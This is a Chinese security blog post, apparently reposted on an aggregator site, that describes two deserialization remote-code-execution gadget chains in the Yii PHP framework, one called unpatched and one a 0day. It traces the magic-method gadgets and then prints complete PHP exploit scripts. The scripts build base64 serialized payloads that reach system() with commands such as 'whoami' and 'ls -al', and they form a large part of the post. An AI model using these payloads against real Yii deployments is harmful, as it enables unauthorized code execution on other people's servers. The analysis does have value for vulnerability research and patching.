php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2
Yii框架反序列化RCE利用鏈2(官方無補(bǔ)丁)
Author:AdminTony
1.尋找反序列化點(diǎn)
全局搜索__wakeup函數(shù),如下:
找到\symfony\string\UnicodeString類,其__wakeup方法中調(diào)用了normalizer_is_normalized方法。
該方法要求傳入的內(nèi)容是字符串。且$this->string可控,那么只要找到一條由__toString方法構(gòu)造的利用鏈即可。
全局搜索__toString方法,尋找可用的點(diǎn),最終找到:
($this->value)()這種形式,函數(shù)名可控,然后結(jié)合IndexAction類的run方法即可形成反序列化利用鏈。
最終利用鏈:
\yii\rest\IndexAction->run()\symfony\string\LazyString->__toString()\symfony\string\UnicodeString->stringnormalizer_is_normalized()\symfony\string\UnicodeString->__wakeup()2.構(gòu)造payload
實(shí)例化\yii\rest\IndexAction類,設(shè)置其$checkAccess變量、$id變量和$config變量
實(shí)例化\symfony\string\LazyString類,設(shè)置其$value變量為IndexAction類和run方法數(shù)組
實(shí)例化\symfony\string\UnicodeString類,設(shè)置其$string變量值為LazyString類。
最終Exp:
<?php namespace Symfony\Component\String{ class UnicodeString{ public $string; } class LazyString{ public $value; }}namespace yii\rest{ class IndexAction{ public $id; public $controller; public $config; public $checkAccess; }}namespace { //use Symfony\Component\String; //use yii\rest; //1,'\yii\web\Controller',['modelClass'=>'\yii\db\BaseActiveRecord'] $indexAction = new yii\rest\IndexAction(); $indexAction->id = 'whoami'; // 修改執(zhí)行的函數(shù)值,如whoami $indexAction->controller = '\yii\web\Controller'; $indexAction->config = ['modelClass'=>'\yii\db\BaseActiveRecord']; $indexAction->checkAccess = 'system'; // 修改執(zhí)行的函數(shù)名,如system $lazyString = new Symfony\Component\String\LazyString(); $lazyString -> value =[$indexAction,"run"]; $unicodeStringObj = new Symfony\Component\String\UnicodeString(); $unicodeStringObj->string=$lazyString; var_dump(base64_encode(serialize($unicodeStringObj)));}效果如下:
Yii框架反序列化RCE利用鏈3(0day)
Author:AdminTony
挖到以后,去翻了下朋友圈,發(fā)現(xiàn)已經(jīng)有師傅在昨天晚上公開了。
1.尋找__destruct方法
尋找__destruct方法的時(shí)候主要注意幾個(gè)點(diǎn):
該__destruct方法中是否有call_user_func($this->test,[$this->arr])或者$this->test()類型的可控函數(shù)
該__destruct調(diào)用過程中,有沒有$this->reader->getUser()類型的調(diào)用,此類調(diào)用有兩種跳板選擇方法
找getUser函數(shù),通過getUser函數(shù)找到一條代碼執(zhí)行利用鏈
找__call函數(shù),通過__call函數(shù)找到一條代碼執(zhí)行利用鏈條
該__destruct調(diào)用過程中,是否能觸發(fā)其他魔法函數(shù),比如test($this->tests),test函數(shù)要求傳入String類型參數(shù)時(shí),如果我們?cè)O(shè)置的$this->tests是一個(gè)類,則會(huì)自動(dòng)調(diào)用該類的__toString方法,然后從__toString找到一個(gè)反序列化利用鏈。
本著這幾點(diǎn)思路,開始尋找。
vendor/codeception/codeception/ext/RunProcess.php代碼片段:
__destruct方法中調(diào)用了stopProcess方法,該方法$process可控,從而形成$this->reader->getUser()類型調(diào)用,我們可以尋找isRunning函數(shù)的代碼作為跳板或者_(dá)_call函數(shù)的代碼執(zhí)行作為跳板。
2.尋找跳板
vendor/fzaninotto/faker/src/Faker/Generator.php代碼片段:
跟進(jìn)format函數(shù):
找到call_user_func_array,那么我們只需要讓$this->getFormatter($formatter)的結(jié)果是我們指定的函數(shù)即可。
也就是說,$this->formatters['isRunning']設(shè)置為想要執(zhí)行的函數(shù)即可,而$arguments我們不可控。只能傳入一個(gè)對(duì)象做函數(shù),借助[(new test),"run"]這樣的調(diào)用實(shí)現(xiàn)代碼執(zhí)行。
正則:call_user_func[_\w+]*\(\$this->[_\$\w]*,\s*\$this-
這樣的可用類只有兩個(gè)IndexAction 和 CreateAction
代碼片段來源于:vendor/yiisoft/yii2/rest/IndexAction.php
從而形成一條反序列化RCE利用鏈。
3.Exp編寫
其實(shí)Exp編寫也是一項(xiàng)比較有意思的活。最開始我總是在controller里面直接實(shí)例化利用鏈里面的幾個(gè)類,發(fā)現(xiàn)還的分析__construct方法,看傳入的值,有時(shí)候父類太多一直調(diào)用parent::__construct也是挺煩的,后來這兩天看米斯特的奶權(quán)師傅直接重新定義了一個(gè)類,然后把必要的值傳入其中。試了下,這個(gè)方法真的好用,再也不用管__construct方法了。
說了這么多廢話,開始放EXP:
<?php // RunProcess->stopProess ->> $process->isRunning() -->> Generator->__call ->> IndexAction->runnamespace Codeception\Extension{ class RunProcess{ public $processes; }}namespace Faker{ class Generator{ public $formatters; }}namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; } class UpdateAction{ public $checkAccess; public $id; }}namespace { //$indexAction = new yii\rest\IndexAction('whoami',1,["modelClass"=>'BaseActiveRecord']); $indexAction = new yii\rest\IndexAction(); $indexAction->id = 'ls -al'; $indexAction->checkAccess = 'system'; $generator = new Faker\Generator(); $generator->formatters = ["isRunning"=>[$indexAction,"run"]]; $runProcess = new Codeception\Extension\RunProcess(); $runProcess->processes = array($generator); //$runProcess->setProcesses(array($generator)); var_dump(base64_encode(serialize($runProcess)));}總結(jié)
以上是生活随笔為你收集整理的php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 格雷码、二进制码、BCD编码
- 下一篇: “创新”,我们应该如何去做?